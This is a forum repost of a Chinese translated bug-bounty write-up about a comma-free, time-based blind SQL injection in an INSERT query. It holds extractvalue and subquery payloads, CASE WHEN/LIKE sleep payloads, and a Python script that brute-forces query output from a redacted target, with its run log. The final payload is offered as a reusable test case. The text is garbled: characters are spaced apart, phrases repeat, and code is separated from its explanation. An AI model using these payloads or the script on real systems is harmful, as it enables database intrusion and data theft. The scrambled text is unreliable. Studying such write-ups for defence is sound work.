搜索

[14011] 2019-04-20_一次INSERT查询的无逗号SQL注入漏洞构造利用（$10k）

文档创建者：s7ckTeam
浏览次数：35
最后更新：2025-01-18
2019-04-20_一次INSERT查询的无逗号SQL注入漏洞构造利用（$10k） 一 次 I N S E R T 查 询 的 无 逗 号 S Q L 注 入 漏 洞 构 造 利 用 （ $ 1 0 k ） c l o u d s   F r e e B u f   2 0 1 9 - 0 4 - 2 0 本 文 分 享 的 是 作 者 在 一 次 众 测 中 的 本 文 分 享 的 是 作 者 在 一 次 众 测 中 的 S Q L 报 错 型 注 入 漏 洞 发 现 过 程 ， 有 趣 之 处 在 于 ， 在 后 续 报 错 型 注 入 漏 洞 发 现 过 程 ， 有 趣 之 处 在 于 ， 在 后 续 漏 洞 利 用 的 构 造 中 ， 如 果 在 目 标 服 务 端 数 据 库 逻 辑 的 漏 洞 利 用 的 构 造 中 ， 如 果 在 目 标 服 务 端 数 据 库 逻 辑 的 I N S E R T 查 询 中 使 用 逗 号 （ 查 询 中 使 用 逗 号 （ C o m m a ） ， 将 导 致 构 造 的 ） ， 将 导 致 构 造 的 P a y l o a d 不 可 用 ， 这 种 情 况 下 ， 作 者 通 过 综 合 不 可 用 ， 这 种 情 况 下 ， 作 者 通 过 综 合 T i m e - b a s e d 注 入 、 注 入 、 C a s e   W h e n 和 和 L i k e 操 作 成 功 实 现 了 操 作 成 功 实 现 了 S Q L 注 入 ， 漏 洞 获 得 了 厂 商 注 入 ， 漏 洞 获 得 了 厂 商 $ 1 0 , 0 0 0 美 金 的 奖 励 。 美 金 的 奖 励 。 漏 洞 介 绍 漏 洞 介 绍 I N S E R T 查 询 或 U P D A T E 型 S Q L 注 入 漏 洞 也 算 是 比 较 常 见 的 了 ， 在 任 何 S Q L 注 入 漏 洞 中 ， 原 因 都 是 由 于 不 安 全 的 用 户 输 入 传 递 给 了 后 端 数 据 查 询 。 此 次 测 试 数 据 库 中 的 用 户 输 入 逻 辑 大 概 可 以 这 样 描 述 ： 依 上 所 看 ， 其 对 应 的 请 求 体 应 该 是 这 样 的 ： 所 以 ， 经 分 析 ， 可 能 存 在 以 下 的 I N S E R T 列 插 入 语 句 ： 最 终 ， 在 目 标 数 据 库 中 形 成 的 结 果 就 是 ： 综 上 所 述 ， 在 此 ， 我 们 就 有 三 种 方 法 来 对 这 个 数 据 库 逻 辑 进 行 漏 洞 注 入 构 造 。 用 用 e x t r a c t v a l u e 方 法 构 造 的 报 错 型 注 入 方 法 构 造 的 报 错 型 注 入 可 以 把 上 述 分 析 中 的 r e v i e w 、 e m a i l 、 n a m e 三 个 列 插 入 值 换 成 ： 这 种 构 造 情 况 ， 会 形 成 一 个 泄 露 目 标 数 据 库 的 S Q L 报 错 注 入 ： 使 用 子 查 询 使 用 子 查 询   （ （ S u b q u e r y ） ） 基 于 以 上 报 错 型 注 入 ， 我 们 可 以 进 一 步 利 用 子 查 询   （ S u b q u e r y ） 方 式 去 读 取 数 据 库 内 容 ， 并 把 它 显 示 在 插 入 列 的 内 容 中 。 例 如 ， 我 们 把 r e v i e w 这 个 列 的 值 构 造 为 ： 那 么 ， 最 后 的 插 入 查 询 语 句 会 是 ： 仔 细 看 ， 由 于 其 中 存 在 注 释 符   — ， 所 以 ， , ’ i n f o @ e x a m p l e . c o m ’ , ’ t e s t   n a m e ’ ) ;   就 会 被 注 释 掉 ， 而 其 中 的 ( s e l e c t   u s e r ( ) ) 是 对 当 前 数 据 库 用 户 的 查 询 请 求 ， 一 般 会 是 r o o t @ l o c a l h o s t 。 所 以 ， 运 行 上 述 插 入 查 询 语 句 之 后 ， 数 据 库 中 r e v i e w 、 e m a i l 、 n a m e 三 列 内 容 就 会 相 应 成 为 ： j n k   r e v i e w 、 r o o t @ l o c a l h o s t 、 d u m m y   n a m e ， 非 常 容 易 理 解 。 如 下 ： $ e m a i l = $ _ P O S T [ ' e m a i l ' ] ; $ n a m e = $ _ P O S T [ ' n a m e ' ] ; $ r e v i e w = $ _ P O S T [ ' r e v i e w ' ] ; $ q u e r y = " i n s e r t   i n t o   r e v i e w s ( r e v i e w , e m a i l , n a m e )   v a l u e s   ( ' $ r e v i e w ' , ' $ e m a i l ' , ' $ n a m e ' ) " ; m y s q l _ q u e r y ( $ q u e r y , $ c o n n ) ; r e v i e w = t e s t   r e v i e w & e m a i l = i n f o @ e x a m p l e . c o m & n a m e = t e s t   n a m e i n s e r t   i n t o   r e v i e w s ( r e v i e w , e m a i l , n a m e )   v a l u e s   ( ' t e s t   r e v i e w ' , ' i n f o @ e x a m p l e . c o m ' , ' t e s t   n a m e ' ) M a r i a D B   [ d u m m y d b ] >   i n s e r t   i n t o   r e v i e w s ( r e v i e w , e m a i l , n a m e )   v a l u e s   ( ' t e s t   r e v i e w ' , ' i n f o @ e x a m p l e . c o m ' , ' t e s t   n a m e ' ) ; Q u e r y   O K ,   1   r o w   a f f e c t e d   ( 0 . 0 0 1   s e c ) M a r i a D B   [ d u m m y d b ] >   s e l e c t   *   f r o m   r e v i e w s ; + - - - - - - - - - - - - - + - - - - - - - - - - - - - - - - - - + - - - - - - - - - - - + |   r e v i e w             |   e m a i l                         |   n a m e             | + - - - - - - - - - - - - - + - - - - - - - - - - - - - - - - - - + - - - - - - - - - - - + |   t e s t   r e v i e w   |   i n f o @ e x a m p l e . c o m   |   t e s t   n a m e   | + - - - - - - - - - - - - - + - - - - - - - - - - - - - - - - - - + - - - - - - - - - - - + 1   r o w   i n   s e t   ( 0 . 0 0 0   s e c ) t e s t   r e v i e w '   a n d   e x t r a c t v a l u e ( 0 x 0 a , c o n c a t ( 0 x 0 a , ( s e l e c t   d a t a b a s e ( ) ) ) )   a n d   ' 1 M a r i a D B   [ d u m m y d b ] >   i n s e r t   i n t o   r e v i e w s ( r e v i e w , e m a i l , n a m e )   v a l u e s   ( ' t e s t   r e v i e w '   a n d   e x t r a c t v a l u e ( 0 x 0 a , c o n c a t ( 0 x 0 a , ( s e l e c t   d a t a b a s e ( ) ) ) )   a n d   ' 1 ' , ' i n f o @ e x a m p l e . c o m ' , ' t e s t   n a m e ' E R R O R   1 1 0 5   ( H Y 0 0 0 ) :   X P A T H   s y n t a x   e r r o r :   ' d u m m y d b ' j n k   r e v i e w ' , ( s e l e c t   u s e r ( ) ) , ' d u m m y   n a m e ' ) - -   - i n s e r t   i n t o   r e v i e w s ( r e v i e w , e m a i l , n a m e )   v a l u e s   ( ' j n k   r e v i e w ' , ( s e l e c t   u s e r ( ) ) , ' d u m m y   n a m e ' ) - -   - , ' i n f o @ e x a m p l e . c o m ' , ' t e s t   n a m e ' ) ; M a r i a D B   [ d u m m y d b ] >   i n s e r t   i n t o   r e v i e w s ( r e v i e w , e m a i l , n a m e )   v a l u e s   ( ' j n k   r e v i e w ' , ( s e l e c t   u s e r ( ) ) , ' d u m m y   n a m e ' ) ; - - , ' i n f o @ e x a m p l e . c o m ' , ' t e s t   n a m e ' ) ; Q u e r y   O K ,   1   r o w   a f f e c t e d   ( 0 . 0 0 1   s e c ) M a r i a D B   [ d u m m y d b ] >   s e l e c t   *   f r o m   r e v i e w s ; + - - - - - - - - - - - - - + - - - - - - - - - - - - - - - - - - + - - - - - - - - - - - - + |   r e v i e w             |   e m a i l                         |   n a m e               | + - - - - - - - - - - - - - + - - - - - - - - - - - - - - - - - - + - - - - - - - - - - - - + |   t e s t   r e v i e w   |   i n f o @ e x a m p l e . c o m   |   t e s t   n a m e     |
T i m e - b a s e d 的 盲 注 构 造 的 盲 注 构 造 以 上 的 构 造 P a y l o a d 只 能 说 明 数 据 库 内 部 的 一 个 处 理 逻 辑 ， 但 在 应 用 端 来 看 不 能 导 致 报 错 ， 而 且 也 无 法 回 显 我 们 的 插 入 语 句 结 果 ， 甚 至 是 根 本 没 法 知 道 我 们 的 插 入 语 句 是 否 是 t r u e   或 f a l s e 的 情 况 ， 基 于 此 ， 我 们 可 以 对 它 进 行 T i m e - b a s e d 的 盲 注 构 造 ， 结 合 I f 语 句 和 语 句 和 s u b s t r i n g 方 法 方 法 ， 有 以 下 P a y l o a d ： 如 果 查 询 语 句 为 真 ， 那 么 其 后 端 数 据 库 就 会 休 眠 5 秒 后 才 输 出 回 显 结 果 ， 用 这 种 判 断 方 式 ， 我 们 可 以 来 推 断 出 数 据 库 中 的 具 体 架 构 方 式 。 具 体 方 法 可 参 考 d e t e c t i f y 实 验 室 的   s q l i - i n - i n s e r t - w o r s e - t h a n - s e l e c t 。 综 合 分 析 综 合 分 析 有 了 以 上 的 分 析 ， 总 体 的 漏 洞 利 用 应 该 不 成 问 题 了 ， 但 是 ， 在 我 当 前 测 试 的 目 标 数 据 库 中 ， 其 存 在 注 入 漏 洞 的 参 数 是 u r l s [ ]   和   m e t h o d s [ ] ， 而 且 它 们 的 值 都 是 用 逗 号   - “ , ” 进 行 分 隔 的 ， 我 按 照 以 上 分 析 的 P a y l o a d 构 造 进 行 测 试 后 发 现 ， 其 中 的 逗 号 会 破 坏 我 们 的 P a y l o a d 构 造 ， 最 终 会 导 致 注 入 利 用 不 成 功 。 以 目 标 数 据 库 的 以 下 逻 辑 来 说 ： 之 前 分 析 的 P a y l o a d 构 造 进 行 测 试 ， 我 们 把 其 中 的 u r l s 值 替 换 为 ： 那 么 由 于 逗 号 的 存 在 ， 目 标 数 据 库 后 端 的 运 行 处 理 模 式 就 会 是 ： 所 以 ， 由 于 逗 号 的 分 隔 作 用 ， 这 样 的 处 理 也 就 无 法 形 成 我 们 的 注 入 利 用 了 。 解 决 方 法 解 决 方 法 所 以 ， 这 样 来 看 ， 我 们 的 P a y l o a d 中 必 须 不 能 包 含 逗 号 。 第 一 步 ， 我 们 需 要 找 到 一 个 代 替 I F 条 件 且 能 用 逗 号 和 其 它 语 句 共 同 作 用 的 方 法 语 句 。 这 里 的 话 ， 选 用 c a s e   w h e n 比 较 适 合 ， 所 以 这 里 利 用 它 的 一 个 基 本 用 法 为 ： 如 果 我 们 构 造 查 询 的 语 句 为 真 ， 那 么 ， 数 据 库 就 会 休 眠 3 秒 执 行 输 出 。 另 外 ， 我 们 还 要 找 到 代 替 s u b s t r i n g 的 方 法 ， 那 么 ， 我 们 可 以 用 L i k e 操 作 操 作 来 实 现 ， 比 如 以 下 逻 辑 ： 其 中 的 ( ( s e l e c t   d a t a b a s e ( ) )   l i k e   ‘ d % ’ )   意 思 是 ， 选 取 出 的 以   d   开 头 的 模 式 字 符 串 ， 如 果 这 种 模 式 匹 配 存 在 ， 数 据 库 就 会 休 眠 3 秒 后 输 出 。 所 以 ， 最 后 的 综 合 就 是 把 这 个 查 询 和 I N S E R T 连 接 在 一 起 ， 出 于 测 试 保 密 原 则 ， 隐 去 目 标 主 站 ， 最 终 的 P a y l o a d 利 用 链 接 为 ： 这 种 P a y l o a d 利 用 中 ， 可 以 把 C A S E   W H E N 和 L i k e 操 作 设 置 为 对 字 符 串 （ C h a r ） 的 暴 力 破 解 ， 所 以 ， 最 后 成 型 的 P a y l o a d 是 这 样 的 ： 漏 洞 利 用 漏 洞 利 用 对 以 上 P a y l o a d 进 行 手 动 测 试 会 是 一 件 非 常 耗 时 的 事 ， 所 以 ， 我 编 写 了 以 下 的 P y t h o n 脚 本 对 它 进 行 一 个 自 动 化 利 用 ： |   t e s t   r e v i e w   |   i n f o @ e x a m p l e . c o m   |   t e s t   n a m e     | |   j n k   r e v i e w     |   r o o t @ l o c a l h o s t       |   d u m m y   n a m e   | + - - - - - - - - - - - - - + - - - - - - - - - - - - - - - - - - + - - - - - - - - - - - - + 2   r o w s   i n   s e t   ( 0 . 0 0 0   s e c ) M a r i a D B   [ d u m m y d b ] > x x x ' - ( I F ( ( s u b s t r i n g ( ( s e l e c t   d a t a b a s e ( ) ) , 1 , 1 ) )   =   ' d ' ,   s l e e p ( 5 ) ,   0 ) ) - ' x x x x $ u r l s _ i n p u t = $ _ P O S T [ ' u r l s ' ] ; $ u r l s   =   e x p l o d e ( " , " ,   $ u r l s _ i n p u t ) ; p r i n t _ r ( $ u r l s ) ; f o r e a c h ( $ u r l s   a s   $ u r l ) {     m y s q l _ q u e r y ( " i n s e r t   i n t o   x x x x x x   ( u r l , m e t h o d )   v a l u e s   ( ' $ u r l ' , ' m e t h o d ' ) " ) } 如 果 我 们 按 照 x x x ' - ( I F ( ( s u b s t r i n g ( ( s e l e c t   d a t a b a s e ( ) ) , 1 , 1 ) )   =   ' d ' ,   s l e e p ( 5 ) ,   0 ) ) - ' x x x x A r r a y (         [ 0 ]   = >   x x x ' - ( I F ( ( s u b s t r i n g ( ( s e l e c t   d a t a b a s e ( ) )         [ 1 ]   = >   1         [ 2 ]   = >   1 ) )   =   ' d '         [ 3 ]   = >     s l e e p ( 5 )         [ 4 ]   = >     0 ) ) - ' x x x x ) M a r i a D B   [ d u m m y d b ] >   s e l e c t   C A S E   W H E N   ( ( s e l e c t   s u b s t r i n g ( ' 1 1 1 ' , 1 , 1 ) = ' 1 ' ) )   T H E N   ( s l e e p ( 3 ) )   E L S E   2   E N D ; + - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - + |   C A S E   W H E N   ( ( s e l e c t   s u b s t r i n g ( ' 1 1 1 ' , 1 , 1 ) = ' 1 ' ) )   T H E N   ( s l e e p ( 3 ) )   E L S E   2   E N D   | + - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - + |                                                                                                                                                 0   | + - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - + 1   r o w   i n   s e t   ( 3 . 0 0 1   s e c ) M a r i a D B   [ d u m m y d b ] >   s e l e c t   C A S E   W H E N   ( ( s e l e c t   d a t a b a s e ( ) )   l i k e   ' d % ' )   T H E N   ( s l e e p ( 3 ) )   E L S E   2   E N D ; + - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - + |   C A S E   W H E N   ( ( s e l e c t   d a t a b a s e ( ) )   l i k e   ' d % ' )   T H E N   ( s l e e p ( 3 ) )   E L S E   2   E N D   | + - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - + |                                                                                                                                         0   | + - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - + 1   r o w   i n   s e t   ( 3 . 0 0 1   s e c ) h t t p : / / x x x x x x x x / ' - ( s e l e c t   C A S E   W H E N   ( ( s e l e c t   d a t a b a s e ( ) )   l i k e   ' d % ' )   T H E N   ( s l e e p ( 4 ) )   E L S E   2   E N D ) - ' x x x u r l s [ ] = x x x ' - c a s t ( ( s e l e c t   C A S E   W H E N   ( ( M Y _ Q U E R Y )   l i k e   ' C H A R _ T O _ B R U T E _ F O R C E % 2 5 ' )   T H E N   ( s l e e p ( 1 ) )   E L S E   2   E N D )   a s   c h a r ) - '
脚 本 利 用 示 例 ： i m p o r t   r e q u e s t s i m p o r t   s y s i m p o r t   t i m e #   x x x x x x x x x e x a m p l e . c o m   S Q L i   P O C #   C o d e d   b y   A h m e d   S u l t a n   ( 0 x 4 1 4 8 ) i f   l e n ( s y s . a r g v )   = =   1 :   p r i n t   ' ' ' U s a g e   :   p y t h o n   s q l . p y   " Q U E R Y " E x a m p l e   :   p y t h o n   s q l . p y   " ( s e l e c t   d a t a b a s e ) "   ' ' '   s y s . e x i t ( ) q u e r y = s y s . a r g v [ 1 ] p r i n t   " [ * ]   O b t a i n i n g   l e n g t h " u r l   =   " h t t p s : / / x x x x x x x x x e x a m p l e . c o m : 4 4 3 / s u b " h e a d e r s   =   { " U s e r - A g e n t " :   " M o z i l l a / 5 . 0   ( X 1 1 ;   L i n u x   x 8 6 _ 6 4 ;   r v : 4 5 . 0 )   G e c k o / 2 0 1 0 0 1 0 1   F i r e f o x / 4 5 . 0 " ,   " A c c e p t " :   " t e x t / h t m l , a p p l i c a t i o n / x h t m l + x m l , a p p l i c a t i o n / x m l ; q = 0 . 9 , * / * ; q = 0 . 8 " , " A c c e p t - L a n g u a g e " :   " e n - U S , e n ; q = 0 . 5 " ,   " A c c e p t - E n c o d i n g " :   " g z i p ,   d e f l a t e " , " C o o k i e " :   ' x x x x x x x x x x x x x x x x x x x ' , " R e f e r e r " :   " h t t p s : / / w w w . x x x x x x x x x e x a m p l e . c o m : 4 4 3 / " , " H o s t " :   " w w w . x x x x x x x x x e x a m p l e . c o m " , " C o n n e c t i o n " :   " c l o s e " , " X - R e q u e s t e d - W i t h " : " X M L H t t p R e q u e s t " , " C o n t e n t - T y p e " :   " a p p l i c a t i o n / x - w w w - f o r m - u r l e n c o d e d " } f o r   i   i n   r a n g e ( 1 , 1 0 0 ) :   c u r r e n t _ t i m e = t i m e . t i m e ( )   d a t a = { " m e t h o d s [ ] " :   " o n - s i t e " ,   " u r l s [ ] " :   " j n k f o o o ' - c a s t ( ( s e l e c t   C A S E   W H E N   ( ( s e l e c t   l e n g t h ( " + q u e r y + " ) ) = " + s t r ( i ) + " )   T H E N   ( s l e e p ( 1 ) )   E L S E   2   E N D )   a s   c h a r ) - ' " }   r e s p o n s e = r e q u e s t s . p o s t ( u r l ,   h e a d e r s = h e a d e r s ,   d a t a = d a t a ) . t e x t   r e s p o n s e _ t i m e = t i m e . t i m e ( )   t i m e _ t a k e n = r e s p o n s e _ t i m e - c u r r e n t _ t i m e   p r i n t   " E x e c u t i n g   j n k f o o o ' - c a s t ( ( s e l e c t   C A S E   W H E N   ( ( s e l e c t   l e n g t h ( " + q u e r y + " ) ) = " + s t r ( i ) + " )   T H E N   ( s l e e p ( 1 ) )   E L S E   2   E N D )   a s   c h a r ) - ' " + "   t o o k   " + s t r ( t i m e _ t a k e n )   i f   t i m e _ t a k e n   >   2 :     p r i n t   " [ + ]   L e n g t h   o f   D B   q u e r y   o u t p u t   i s   :   " + s t r ( i )     l e n g t h = i + 1     b r e a k   i = i + 1 p r i n t   " [ * ]   o b t a i n i n g   q u e r y   o u t p u t n " o u t p = ' ' # O b t a i n i n g   q u e r y   o u t p u t c h a r s e t = " a b c d e f g h i j k l m n o p q r s t u v w x y z 0 1 2 3 4 5 6 7 8 9 . A B C D E F G H I J K L M N O P Q R S T U V W X Y Z _ @ - . " f o r   i   i n   r a n g e ( 1 , l e n g t h ) :   f o r   c h a r   i n   c h a r s e t :     c u r r e n t _ t i m e = t i m e . t i m e ( )     d a t a = { " m e t h o d s [ ] " :   " o n - s i t e " ,   " u r l s [ ] " :   " j n k f o o o ' - c a s t ( ( s e l e c t   C A S E   W H E N   ( " + q u e r y + "   l i k e   ' " + o u t p + c h a r + " % ' )   T H E N   ( s l e e p ( 1 ) )   E L S E   2   E N D )   a s   c h a r ) - ' " }     r e s p o n s e = r e q u e s t s . p o s t ( u r l ,   h e a d e r s = h e a d e r s ,   d a t a = d a t a ) . t e x t     r e s p o n s e _ t i m e = t i m e . t i m e ( )     t i m e _ t a k e n = r e s p o n s e _ t i m e - c u r r e n t _ t i m e     p r i n t   " E x e c u t i n g   j n k f o o o ' - c a s t ( ( s e l e c t   C A S E   W H E N   ( " + q u e r y + "   l i k e   ' " + o u t p + c h a r + " % ' )   T H E N   ( s l e e p ( 1 ) )   E L S E   2   E N D )   a s   c h a r ) - '   t o o k   " + s t r ( t i m e _ t a k e n )     i f   t i m e _ t a k e n   >   2 :       p r i n t   " G o t   ' " + c h a r + " ' "       o u t p = o u t p + c h a r       b r e a k   i = i + 1 p r i n t   " Q U E R Y   o u t p u t   :   " + o u t p [ 1 9 : 3 8 : 3 6 ]   r o o t : / t m p   #   p y t h o n   s q l 7 . p y   ' ( s e l e c t   " a b c " ) ' [ * ]   O b t a i n i n g   l e n g t h E x e c u t i n g   j n k f o o o ' - c a s t ( ( s e l e c t   C A S E   W H E N   ( ( s e l e c t   l e n g t h ( ( s e l e c t   " a b c " ) ) ) = 1 )   T H E N   ( s l e e p ( 1 ) )   E L S E   2   E N D )   a s   c h a r ) - '   t o o k   0 . 5 3 8 2 0 5 8 6 2 0 4 5 E x e c u t i n g   j n k f o o o ' - c a s t ( ( s e l e c t   C A S E   W H E N   ( ( s e l e c t   l e n g t h ( ( s e l e c t   " a b c " ) ) ) = 2 )   T H E N   ( s l e e p ( 1 ) )   E L S E   2   E N D )   a s   c h a r ) - '   t o o k   0 . 5 3 1 9 7 1 9 3 1 4 5 8 E x e c u t i n g   j n k f o o o ' - c a s t ( ( s e l e c t   C A S E   W H E N   ( ( s e l e c t   l e n g t h ( ( s e l e c t   " a b c " ) ) ) = 3 )   T H E N   ( s l e e p ( 1 ) )   E L S E   2   E N D )   a s   c h a r ) - '   t o o k   5 . 5 5 0 4 8 8 9 4 8 8 2 [ + ]   L e n g t h   o f   D B   q u e r y   o u t p u t   i s   :   3 [ * ]   o b t a i n i n g   q u e r y   o u t p u t E x e c u t i n g   j n k f o o o ' - c a s t ( ( s e l e c t   C A S E   W H E N   ( ( s e l e c t   " a b c " )   l i k e   ' a % ' )   T H E N   ( s l e e p ( 1 ) )   E L S E   2   E N D )   a s   c h a r ) - '   t o o k   5 . 5 7 0 1 8 8 0 4 5 5 G o t   ' a ' E x e c u t i n g   j n k f o o o ' - c a s t ( ( s e l e c t   C A S E   W H E N   ( ( s e l e c t   " a b c " )   l i k e   ' a a % ' )   T H E N   ( s l e e p ( 1 ) )   E L S E   2   E N D )   a s   c h a r ) - '   t o o k   0 . 6 3 5 0 6 1 9 7 9 2 9 4 E x e c u t i n g   j n k f o o o ' - c a s t ( ( s e l e c t   C A S E   W H E N   ( ( s e l e c t   " a b c " )   l i k e   ' a b % ' )   T H E N   ( s l e e p ( 1 ) )   E L S E   2   E N D )   a s   c h a r ) - '   t o o k   5 . 6 1 5 1 3 4 0 0 0 7 8 G o t   ' b ' E x e c u t i n g   j n k f o o o ' - c a s t ( ( s e l e c t   C A S E   W H E N   ( ( s e l e c t   " a b c " )   l i k e   ' a b a % ' )   T H E N   ( s l e e p ( 1 ) )   E L S E   2   E N D )   a s   c h a r ) - '   t o o k   0 . 5 6 5 8 7 9 8 2 1 7 7 7 E x e c u t i n g   j n k f o o o ' - c a s t ( ( s e l e c t   C A S E   W H E N   ( ( s e l e c t   " a b c " )   l i k e   ' a b b % ' )   T H E N   ( s l e e p ( 1 ) )   E L S E   2   E N D )   a s   c h a r ) - '   t o o k   0 . 5 5 3 0 0 5 9 3 3 7 6 2 E x e c u t i n g   j n k f o o o ' - c a s t ( ( s e l e c t   C A S E   W H E N   ( ( s e l e c t   " a b c " )   l i k e   ' a b c % ' )   T H E N   ( s l e e p ( 1 ) )   E L S E   2   E N D )   a s   c h a r ) - '   t o o k   5 . 6 2 0 8 2 8 1 5 1 7 G o t   ' c ' Q U E R Y   o u t p u t   :   a b c
最 终 ， 该 漏 洞 获 得 目 标 测 试 厂 商 $ 1 0 , 0 0 0 美 金 的 奖 励 ： 最 终 的 那 个 S Q L 注 入 测 试 P a y l o a d ， 可 以 当 成 你 注 入 测 试 时 的 一 个 用 例 ： * 参 考 来 源 ： r e d f o r c e ， c l o u d s 编 译 ， 转 载 请 注 明 来 自 F r e e B u f . C O M 推 荐 阅 读 推 荐 阅 读 x x x ' - c a s t ( ( s e l e c t   C A S E   W H E N   ( ( M Y _ Q U E R Y )   l i k e   ' C H A R _ T O _ B R U T E _ F O R C E % 2 5 ' )   T H E N   ( s l e e p ( 1 ) )   E L S E   2   E N D )   a s   c h a r ) - '
阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理